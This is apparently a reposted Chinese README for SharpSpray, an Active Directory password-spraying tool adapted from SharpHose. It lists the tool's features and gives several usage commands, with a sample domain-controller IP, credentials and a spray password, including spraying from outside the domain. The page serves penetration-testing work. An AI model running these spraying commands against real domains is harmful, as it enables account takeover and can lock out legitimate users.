SharpSpray

這是一個域內的密碼噴射評估工具，能通過ldap收集用戶名，并根據密碼設置策略進行自動域內的密碼噴射評估。SharpSpray是對SharpHose項目進行改造實現的，解決了原項目中無法在域外爆破、無法進行批量密碼爆破等問題，并內置了三個域內高頻率口令。

特點

• 通過LDAP自動查找用戶來進行噴射

• 根據密碼策略自動a噴射

• 多線程噴射，速度較快

• 能在域外對域控進行噴射

使用

Examples:
Domain Joined Spray: SharpSpray.exe --action SPRAY_USERS --spraypassword Aa123456789.
Domain Joined Spray w/ Exclusions: SharpSpray.exe --action SPRAY_USERS --auto
Domain Joined Spray w/ Exclusions: SharpSpray.exe --action SPRAY_USERS --passfile c:	est.txt
Non-Domain Joined Spray: SharpSpray.exe  --dc-ip 172.16.178.9 --domain windows.local --username test --password Aa123456789. --action SPRAY_USERS --spraypassword Aa123456789.
Domain Joined Show Policies: SharpSpray.exe --action GET_POLICIES
Domain Joined Show Policy Users: SharpSpray.exe --action GET_POLICY_USERS --policy windows
Domain Joined Show All Users: SharpSpray.exe --action GET_ENABLED_USERS

策略發現

在使用之前可以先通過GET_POLICIES來獲取當前密碼策略和域內總用戶數，避免用戶數目過大導致服務器崩潰。

SharpSpray.exe --action GET_POLICIES

密碼噴射（三種噴射模式）

SharpSpray.exe --dc-ip 172.16.178.9 --domain windows.local --username test --password Aa123456789. --action SPRAY_USERS --spraypassword Aa123456789.

TODO

• 域外的用戶名爆破
• 域內信息收集

審核編輯 ：李倩